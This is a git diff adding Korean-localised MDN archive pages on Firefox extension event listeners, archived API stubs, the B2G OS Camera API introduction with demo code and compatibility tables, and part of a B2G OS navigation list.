+slug: Archive/Add-ons/Listening_to_events_in_Firefox_extensions
+translation_of: Archive/Add-ons/Listening_to_events_in_Firefox_extensions
+---
+<p>Gecko는 사용자가 알기 원하는 흥미로운 것들에 대해 정보를 전달하기 위한 이벤트들을 사용합니다. 이벤트들은 여러 종류 를 가지지만, 이 문헌은 여러분이 그것들에 대해 배우고 여러분이 그것들에 대한 더 특정한 문서들을 직접적(쉽게)으로 접근하는데 도와 줄 것입니다. 또 이 문헌은 관심을 가질 만한 몇 가지 케이스를 제공합니다.</p>
+<h2 id="이벤트들의_타입들">이벤트들의 타입들</h2>
+<p>개발자들은 어플리케이션과 확장기능 안에 포함된 콘텐트의 load와 그 변경에 대해 알기 위해, <a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a> 와 <code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>의 요소들로 부터의 알림을 받을 수 있는데 이것은 여러 이벤트들의 타입들로 가능합니다.</p>
+<h3 id="간단한_DOM_이벤트들">간단한 DOM 이벤트들</h3>
+<p>DOM 이벤트는 다음과 같은 코드로 등록할 수 있습니다:</p>
+<pre>function callback(evt) {
+  // Do your processing here. Check evt.target for the target of the event.
+}
+
+b.addEventListener("event", callback, false)
+</pre>
+<p>위에서 b는 <code>여러분이 이벤트로부터 보기 원하는 </code><code>browser</code> 또는 <code>tabbrowser 입니다. 명심해야 할것은 이벤트들은 </code><code>browser의 프레임이나 또는 </code><code>tabbrowser</code>, 브라우저들의 안에 존재해야 될 것입니다.</p>
+<p>아래 리스트는 여러분이 여러 상황을 모니터하기 원하는 좀 더 흥미로운 DOM 이벤트들입니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">이벤트</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>DOMLinkAdded</code></td>
+   <td>새로운 HTML <a class="internal" href="/en/HTML/Element/link" title="En/HTML/Element/Link"><code>&lt;link&gt;</code></a> 요소를 문서에서 감지했을 때 dispatch됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>DOMTitleChanged</code></td>
+   <td>페이지의 타이틀이 변경 되었을 때 dispatch됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>DOMContentLoaded</code></td>
+   <td>페이지의 초기 DOM이 완전히 로드되었을 때 dispatch됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>load</code></td>
+   <td>dispatch된 후에 페이지가(이미지를 포함하여) 처음으로 로딩을 완료했을 때.</td>
+  </tr>
+  <tr>
+   <td><code>unload</code></td>
+   <td>유저가 페이지로부터 떨어져 탐색할 때 dispatch됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>pageshow</code></td>
+   <td>페이지가 새롭게 표시되었을 때 dispacth됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>pagehide</code></td>
+   <td>페이지가 감춰졌을 때 dispatch됩니다.</td>
+  </tr>
+ </tbody>
+</table>
+<p><code>load</code>, <code>unload</code>, <code>pageshow</code> and <code>pagehide 이벤트의 dispatch 유무에 대해서는 </code><a class="internal" href="/En/Using_Firefox_1.5_caching" title="En/Using Firefox 1.5 caching">Firefox's caching behaviour</a>의 기사에서 더 자세하게 다룹니다.</p>
+<h3 id="웹_progress의_listener들">웹 progress의 listener들</h3>
+<p>웹 로드들의 자세한 내용을 보려면 web progress listener를 사용하면 됩니다. 이들은 웹에서 데이터 로드의 progress 상황에 대한 자세한 내용을 제공합니다. 아래는 <code>browser</code> 와 <code>tabbrowser를 요소들을 지원하는 코드입니다:</code></p>
+<pre>var progressListener = {
+  // add nsIWebProgressImplementation here
+}
+
+b.addProgressListener(progressListener);
+</pre>
+<p><code>위에서 b는 여러분이 </code><code>이벤트들에 대해 litsen하기 원하는</code><code> </code><code>browser</code> 또는 <code>tabbrowser 입니다.</code><code> </code><a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">using web progress listeners</a>의 링크는 코드 snippet의 더 자세한 사용 가능을 다룹니다.</p>
+<p>tabbrowser는 오직 현재 이벤트가 발생할 때 표시하는 브라우저부터 이벤트들을 받을 수 있습니다. 모든 브라우저들로부터 이벤트들을 listen하기 위해서는 현재 이벤트에 대해 표시하지않는 코드를 포함하면 됩니다. 아래는 그 예를 설명합니다:</p>
+<pre>var tabsProgressListener = {
+  // add tabs progress listener implementation here
+}
+
+gBrowser.addTabsProgressListener(tabsProgressListener);
+</pre>
+<p>이렇게 하면 여러분은 모든 tab들과 관련된 이벤트들을 받을 수 있습니다. <a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs"><span class="external">listening to events from all tabs</span></a> 링크는 더 자세한 사용 가능을 다룹니다.</p>
+<p></p><div class="blockIndicator standardNote standardNoteBlock">
+    <p><a href="https://developer.mozilla.org/ko/docs/Mozilla/Firefox/Releases/3.5">Firefox 3.5 note</a></p>
+    <p style="font-weight: 400;">모든 탭들로부터 이벤트들을 listen하는 능력은 Firefox 3.5. 버전에 포함 되었습니다.</p>
+</div><p></p>
+<h2 id="파이어폭스에서는_이벤트들을_어떻게_처리하는가">파이어폭스에서는 이벤트들을 어떻게 처리하는가</h2>
+<p>파이어 폭스에서는 이미 어느 정도 progress 이벤트들을 웹 페이지들로 부터 listen합니다. 이 중 대부분은 <code>browser로 가게됩니다.js.</code></p>
+<h3 id="DOMLinkHandler">DOMLinkHandler</h3>
+<p><code>DOMLinkHandler 오브젝트는 </code><code>어떤 RSS 피드들이나 사이트 아이콘들, 또는 웹 사이트에 대한 오픈서치 플러그인을 감지하기 위한 DOMLinkAdded 이벤트라고 할 수 있습니다.</code></p>
+<h3 id="pageShowEventHandlers">pageShowEventHandlers</h3>
+<p><code>pageShowEventHandlers()</code> 함수는 메뉴에 문자세트를 삽입하거나 피드(feed)들을 감지 또는 웹 사이틀을 위한 오픈서치 플러그인과 관련된 UI 요소들의 업데이트 등의 <code>pageshow 이벤트라고 할 수 있습니다.</code></p>
+<h3 id="XULBrowserWindow">XULBrowserWindow</h3>
+<p>이 오브젝트는 현재 브라우저에 표시되고 있는 이벤트들의 progress를 얻기 위한 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebProgressListener" title="">nsIWebProgressListener</a></code>입니다. 이 오브젝트는 아래와 같은 많은 이유로 UI를 업데이트하기 위해 사용합니다:</p>
+<ul>
+ <li>progress 바의 업데이트와 페이지를 불러오는 과정의 status 메시지</li>
+ <li>페이지를 로드 할 때의 실행색인기를 켜고 끔.</li>
+ <li>사이트 아이콘을 배치할 때</li>
+ <li>사용자가 인터넷을 이용 할 때 주소창의 업데이트</li>
+ <li>사용자가 인터넷을 항해 할 때 알림 표시줄을 적절한 때에 숨기기</li>
+ <li>페이지들를 새로고침 하여도 사이트를 확대해서 보는 설정을 그대로 적용하기.</li>
+ <li>북마크 버튼 UI을 활성화 하기.</li>
+ <li>사이트의 보안 변경에 대한 표시를 알릴 때.</li>
+</ul>
+<h3 id="TabsProgressListener">TabsProgressListener</h3>
+<p>이 오브젝트는 탭들의 progress listener 와 윈도우 안의 모든 브라우저에 대한 이벤트들을 받을 수 있습니다.  웹페이지가 새로고침을 시도할 때나 이를 저지하려는 시도를 사용자가 허락 할 때를 감지하는데 사용됩니다.</p>
+<h2 id="tabbrowser는_이벤트를_어떻게_처리하는가">tabbrowser는 이벤트를 어떻게 처리하는가</h2>
+<p><code>tabbrowser는 </code>두가지 모드 중 한가지로 실행됩니다. 처음에는 non-tabbed 모드로 시작하고 이 모드는 아래와 같은 상황이 발생하기 전까지 유지 됩니다.</p>
+<ul>
+ <li>탭바가 보여질 때</li>
+ <li>탭이 추가되었을 때</li>
+ <li>한개 보다 많은 webprogress listener가 추가 되었을 때</li>
+ <li>탭 progress listener가 추가 되었을 때</li>
+</ul>
+<h3 id="Non-tabbed_모드">Non-tabbed 모드</h3>
+<p>non-tabbed 모드에서, <code>tabbrowser는 </code>오직 하나의 탭만이 존재 할 수 있습니다. 이 모드에서는 단 하나의 web progress listener만이 브라우저로부터 progress 이벤트의 listen을 추가할 수있습니다. 첫째로 <code>browser-status-filter를 만들고 브라우저에 대한 </code>web progress listener를 추가 합니다. 다음은 브라우저로부터 모든 web progress 이벤트들을 받기 위한 내부 오브젝트를 만듭니다. 이는 <code>mTabProgressListener()</code> 메소드가 처리합니다. 이것은 <code>browser-status-filte로부터 이벤트들을 받습니다. </code>필터 성능 향상을 위해 진행 상태 및 이벤트의 수를 줄이는 역할을 합니다.<code> 필터들은 </code><code>mTabListeners<span style="font-family: Verdana,Tahoma,sans-serif;"><span style="font-family: monospace;">가 배열된 내부</span></span></code><code> </code>listener<code>와 </code><code>mFilters의 배열</code><code>로 도움을 받습니다. 내부 </code>listener들은 progress 이벤트들을 <a class="internal" href="/en/XUL/Method/addProgressListener" title="En/XUL/Method/AddProgressListener"><code>addProgressListener()</code></a> (현재 보이는 브라우저부터 받은 이벤트들)와 <a class="internal" href="/En/XUL/Method/AddTabsProgressListener" title="En/XUL/Method/AddTabsProgressListener"><code>addTabsProgressListener()</code></a> (모든 브라우저로부터 받은 이벤트들)가 지정된 listener들로 내보내게 됩니다.</p>
+<p> </p>
+<h2 id="또_보기">또 보기</h2>
+<ul>
+ <li><a class="internal" href="/en/DOM/event" title="En/DOM/Event"><code>event</code></a></li>
+ <li><a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs">Listening to events on all tabs</a></li>
+ <li><a class="internal" href="/En/DOM/Mouse_gesture_events" title="en/Mouse gesture events">Mouse gesture events</a></li>
+ <li><a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">Code snippets: Progress listeners</a></li>
+</ul>
diff --git a/files/ko/archive/api/index.html b/files/ko/archive/api/index.html
new file mode 100644
index 0000000000..5f78af9636
--- /dev/null
+++ b/files/ko/archive/api/index.html
@@ -0,0 +1,13 @@
+---
+title: API
+slug: Archive/API
+tags:
+  - API
+  - Archive
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/API
+---
+<p>Archived documentation about obsolete web standards APIs.</p>
+
+<p></p><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/API/Navigator">Navigator</a></dt><dd class="landingPageList">Features that used to hang off the <a href="/en-US/docs/Web/API/Navigator" title="The Navigator interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities."><code>Navigator</code></a> interface, but have since been removed.</dd></dl><p></p>
diff --git a/files/ko/archive/api/navigator/index.html b/files/ko/archive/api/navigator/index.html
new file mode 100644
index 0000000000..1840171fcc
--- /dev/null
+++ b/files/ko/archive/api/navigator/index.html
@@ -0,0 +1,8 @@
+---
+title: Navigator
+slug: Archive/API/Navigator
+translation_of: Archive/API/Navigator
+---
+<p>In progress. Features that used to hang off the <a href="/ko/docs/Web/API/Navigator" title="The Navigator interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities."><code>Navigator</code></a> interface, but have since been removed.</p>
+
+<p></p>
diff --git a/files/ko/archive/apps/design/planning/index.html b/files/ko/archive/apps/design/planning/index.html
new file mode 100644
index 0000000000..3a7e80993d
--- /dev/null
+++ b/files/ko/archive/apps/design/planning/index.html
@@ -0,0 +1,23 @@
+---
+title: Planning
+slug: Archive/Apps/Design/Planning
+tags:
+  - Apps
+  - Design
+  - NeedsTranslation
+  - Planning
+  - TopicStub
+translation_of: Archive/Apps/Design/Planning
+---
+<div class="summary">
+<p>이 문서들은 성공적인 웹 응용프로그램들을 기획하기 위한 정보들을 제공해줍니다.</p>
+</div>
+
+<dl>
+ <dt><a href="/en-US/Apps/Design/Planning/Planning_your_app">응용프로그램 계획</a></dt>
+ <dd>응용프로그램을 계획하는 것부터 시작하세요.</dd>
+ <dt><a href="/en-US/Apps/Design/Planning/General_design_principles">일반 디자인 원칙</a></dt>
+ <dd>시작하기 위한 유용한 일반적인 디자인 원칙 목록</dd>
+ <dt><a href="/en-US/Apps/Design/Planning/Installed_app_considerations">설치된 응용프로그램 고려</a></dt>
+ <dd>높은 수준의 고려사항입니다. 특히 Open Web App UX에서 교려해야 합니다.</dd>
+</dl>
diff --git a/files/ko/archive/apps/index.html b/files/ko/archive/apps/index.html
new file mode 100644
index 0000000000..bd5392bac5
--- /dev/null
+++ b/files/ko/archive/apps/index.html
@@ -0,0 +1,14 @@
+---
+title: 응용 프로그램들
+slug: Archive/Apps
+tags:
+  - Apps
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Archive/Apps
+---
+<p class="summary">This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.</p>
+
+<p></p><dl><dt class="landingPageList"><a href="/ko/docs/Web/Apps/Design">열린 웹 응용프로그램들 설계하기</a></dt><dd class="landingPageList">The items under this section apply generally to Web app design.</dd></dl><p></p>
diff --git a/files/ko/archive/b2g_os/api/camera_api/index.html b/files/ko/archive/b2g_os/api/camera_api/index.html
new file mode 100644
index 0000000000..d18716974b
--- /dev/null
+++ b/files/ko/archive/b2g_os/api/camera_api/index.html
@@ -0,0 +1,38 @@
+---
+title: Camera API
+slug: Archive/B2G_OS/API/Camera_API
+tags:
+  - API
+  - Firefox OS
+  - Graphics
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - WebAPI
+  - camera
+translation_of: Archive/B2G_OS/API/Camera_API
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/ko/docs/Web/API/Camera_API">Camera API</a></strong></li><li class="toggle"><details open><summary>Interfaces</summary><ol><li><a href="/ko/docs/Web/API/CameraCapabilities"><code>CameraCapabilities</code></a></li><li><a href="/ko/docs/Web/API/CameraControl"><code>CameraControl</code></a></li><li><a href="/ko/docs/Web/API/CameraManager"><code>CameraManager</code></a></li></ol></details></li><li class="toggle"><details open><summary>Methods</summary><ol><li><a href="/ko/docs/Web/API/Navigator/mozCameras"><code>Navigator.mozCameras</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> Non-standard</strong><br>
+      This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.</p>
+      </div><p></p>
+
+<p>The <strong>Camera API</strong> allows applications to manage the camera of the device. It allows them to take photographs, record videos, and get information like the focus, the zoom, the white balance, the flash, … It is a priviledged API and can only be used by certified applications.</p>
+
+<p>This API was initially only available to certified applications, but is available to privileged apps on Firefox 2.0 onwards.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Except if you are implementing a replacement for the default <em>Camera</em> application, you shouldn't use this API. Instead, if you want to use the camera in your device, you should use the <a href="/en-US/docs/WebAPI/Web_Activities" title="/en-US/docs/Web/API/Web_Activities">Web Activities API</a>.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Navigator/mozCameras" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozCameras</code></a></li>
+ <li><a href="/ko/docs/Web/API/CameraManager" title="The documentation about this has not yet been written; please consider contributing!"><code>CameraManager</code></a></li>
+ <li><a href="/ko/docs/Web/API/CameraControl" title="The documentation about this has not yet been written; please consider contributing!"><code>CameraControl</code></a></li>
+ <li><a href="/ko/docs/Web/API/CameraCapabilities" title="The documentation about this has not yet been written; please consider contributing!"><code>CameraCapabilities</code></a></li>
+</ul>
diff --git a/files/ko/archive/b2g_os/api/camera_api/introduction/index.html b/files/ko/archive/b2g_os/api/camera_api/introduction/index.html
new file mode 100644
index 0000000000..1ea6d25a38
--- /dev/null
+++ b/files/ko/archive/b2g_os/api/camera_api/introduction/index.html
@@ -0,0 +1,247 @@
+---
+title: Introduction to the Camera API
+slug: Archive/B2G_OS/API/Camera_API/Introduction
+translation_of: Archive/B2G_OS/API/Camera_API/Introduction
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/ko/docs/Web/API/Camera_API">Camera API</a></strong></li><li class="toggle"><details open><summary>Interfaces</summary><ol><li><a href="/ko/docs/Web/API/CameraCapabilities"><code>CameraCapabilities</code></a></li><li><a href="/ko/docs/Web/API/CameraControl"><code>CameraControl</code></a></li><li><a href="/ko/docs/Web/API/CameraManager"><code>CameraManager</code></a></li></ol></details></li><li class="toggle"><details open><summary>Methods</summary><ol><li><a href="/ko/docs/Web/API/Navigator/mozCameras"><code>Navigator.mozCameras</code></a></li></ol></details></li></ol></section><p></p>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/Camera_API">Camera API</a> 를 사용하면 디바이스의 카메라를 이용해 사진을 찍어 현재 웹페이지에 업로드하는것이 가능해집니다.</span> This is achieved through an <code>input</code> element with <code>type="file"</code> and an <code>accept</code> attribute to declare that it accepts images. The HTML looks like this:</p>
+
+<pre class="brush: html">&lt;input type="file" id="take-picture" accept="image/*"&gt;
+</pre>
+
+<p>When users choose to activate this HTML element, they are presented with an option to choose a file, where the device's camera is one of the options. If they select the camera, it goes into picture taking mode. After the picture has been taken, the user is presented with a choice to accept or discard it. If accepted, it gets sent to the <code>&lt;input type="file"&gt;</code> element and its <code>onchange</code> event is triggered.</p>
+
+<h2 id="Get_a_reference_to_the_taken_picture">Get a reference to the taken picture</h2>
+
+<p>With the help of the <a href="/en-US/docs/Using_files_from_web_applications">File API</a> you can then access the taken picture or chosen file:</p>
+
+<pre class="brush: js">var takePicture = document.querySelector("#take-picture");
+takePicture.onchange = function (event) {
+    // Get a reference to the taken picture or chosen file
+    var files = event.target.files,
+        file;
+    if (files &amp;&amp; files.length &gt; 0) {
+        file = files[0];
+    }
+};
+</pre>
+
+<h2 id="Presenting_the_picture_in_the_web_page">Presenting the picture in the web page</h2>
+
+<p>Once you have a reference to the taken picture (i.e., file), you can then use <a href="/ko/docs/Web/API/Window/URL/createObjectURL" title="The documentation about this has not yet been written; please consider contributing!"><code>window.URL.createObjectURL()</code></a> to create a URL referencing the picture and setting it as the <code>src</code> of an image:</p>
+
+<pre class="brush: js">// Image reference
+var showPicture = document.querySelector("#show-picture");
+
+// Create ObjectURL
+var imgURL = window.URL.createObjectURL(file);
+
+// Set img src to ObjectURL
+showPicture.src = imgURL;
+
+// For performance reasons, revoke used ObjectURLs
+URL.revokeObjectURL(imgURL);
+</pre>
+
+<p>If <code>createObjectURL()</code> isn't supported, an alternative is to fallback to <a href="/ko/docs/Web/API/FileReader" title="FileReader 객체는  웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는File 혹은 Blob 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다."><code>FileReader</code></a>:</p>
+
+<pre class="brush: js">// Fallback if createObjectURL is not supported
+var fileReader = new FileReader();
+fileReader.onload = function (event) {
+    showPicture.src = event.target.result;
+};
+fileReader.readAsDataURL(file);
+</pre>
+
+<h2 id="Complete_example">Complete example</h2>
+
+<p>If you want to see it in action, take a look at the <a class="external" href="http://robnyman.github.com/camera-api/">complete working Camera API example</a>.</p>
+
+<p>Here is the code used for that demo:</p>
+
+<h3 id="HTML_page">HTML page</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+    &lt;head&gt;
+        &lt;meta charset="utf-8"&gt;
+        &lt;title&gt;Camera API&lt;/title&gt;
+        &lt;link rel="stylesheet" href="css/base.css" type="text/css" media="screen"&gt;
+    &lt;/head&gt;
+
+    &lt;body&gt;
+
+        &lt;div class="container"&gt;
+            &lt;h1&gt;Camera API&lt;/h1&gt;
+
+            &lt;section class="main-content"&gt;
+                &lt;p&gt;A demo of the Camera API, currently implemented in Firefox and Google Chrome on Android. Choose to take a picture with your device's camera and a preview will be shown through createObjectURL or a FileReader object (choosing local files supported too).&lt;/p&gt;
+
+                &lt;p&gt;
+                    &lt;input type="file" id="take-picture" accept="image/*"&gt;
+                &lt;/p&gt;
+
+                &lt;h2&gt;Preview:&lt;/h2&gt;
+                &lt;p&gt;
+                    &lt;img src="about:blank" alt="" id="show-picture"&gt;
+                &lt;/p&gt;
+
+                &lt;p id="error"&gt;&lt;/p&gt;
+
+            &lt;/section&gt;
+
+            &lt;p class="footer"&gt;All the code is available in the &lt;a href="https://github.com/robnyman/robnyman.github.com/tree/master/camera-api"&gt;Camera API repository on GitHub&lt;/a&gt;.&lt;/p&gt;
+        &lt;/div&gt;
+
+
+        &lt;script src="js/base.js"&gt;&lt;/script&gt;
+
+
+    &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="JavaScript_file">JavaScript file</h3>
+
+<pre class="brush: js">(function () {
+    var takePicture = document.querySelector("#take-picture"),
+        showPicture = document.querySelector("#show-picture");
+
+    if (takePicture &amp;&amp; showPicture) {
+        // Set events
+        takePicture.onchange = function (event) {
+            // Get a reference to the taken picture or chosen file
+            var files = event.target.files,
+                file;
+            if (files &amp;&amp; files.length &gt; 0) {
+                file = files[0];
+                try {
+                    // Create ObjectURL
+                    var imgURL = window.URL.createObjectURL(file);
+
+                    // Set img src to ObjectURL
+                    showPicture.src = imgURL;
+
+                    // Revoke ObjectURL
+                    URL.revokeObjectURL(imgURL);
+                }
+                catch (e) {
+                    try {
+                        // Fallback if createObjectURL is not supported
+                        var fileReader = new FileReader();
+                        fileReader.onload = function (event) {
+                            showPicture.src = event.target.result;
+                        };
+                        fileReader.readAsDataURL(file);
+                    }
+                    catch (e) {
+                        //
+                        var error = document.querySelector("#error");
+                        if (error) {
+                            error.innerHTML = "Neither createObjectURL or FileReader are supported";
+                        }
+                    }
+                }
+            }
+        };
+    }
+})();
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/ko/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Desktop</a></li>
+        <li><a>Mobile</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Camera API</td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/URL/createObjectURL">createObjectURL()</a></code></td>
+   <td>16</td>
+   <td><a href="/en-US/Firefox/Releases/8" title="Released on 2011-11-08.">8.0</a> (8.0)</td>
+   <td>10</td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/API/FileReader" title="FileReader 객체는  웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는File 혹은 Blob 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다."><code>FileReader</code></a></td>
+   <td>16</td>
+   <td><a href="/en-US/Firefox/Releases/3.6" title="Released on 2010-01-21.">3.6</a> (1.9.2)</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Camera API</td>
+   <td>3.0</td>
+   <td><span style="color: #888;" title="Please update this with the earliest version of support.">(Yes)</span></td>
+   <td>10.0 (10.0)</td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/URL/createObjectURL">createObjectURL()</a></code></td>
+   <td>4</td>
+   <td><span style="color: #888;" title="Please update this with the earliest version of support.">(Yes)</span></td>
+   <td>10.0 (10.0)</td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/API/FileReader" title="FileReader 객체는  웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는File 혹은 Blob 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다."><code>FileReader</code></a></td>
+   <td>3</td>
+   <td><span style="color: #888;" title="Please update this with the earliest version of support.">(Yes)</span></td>
+   <td>10.0 (10.0)</td>
+   <td><span style="color: #f00;">No support</span></td>
+   <td>11.10</td>
+   <td><span style="color: #f00;">No support</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/archive/b2g_os/api/index.html b/files/ko/archive/b2g_os/api/index.html
new file mode 100644
index 0000000000..9a3c418536
--- /dev/null
+++ b/files/ko/archive/b2g_os/api/index.html
@@ -0,0 +1,120 @@
+---
+title: B2G OS APIs
+slug: Archive/B2G_OS/API
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/API
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
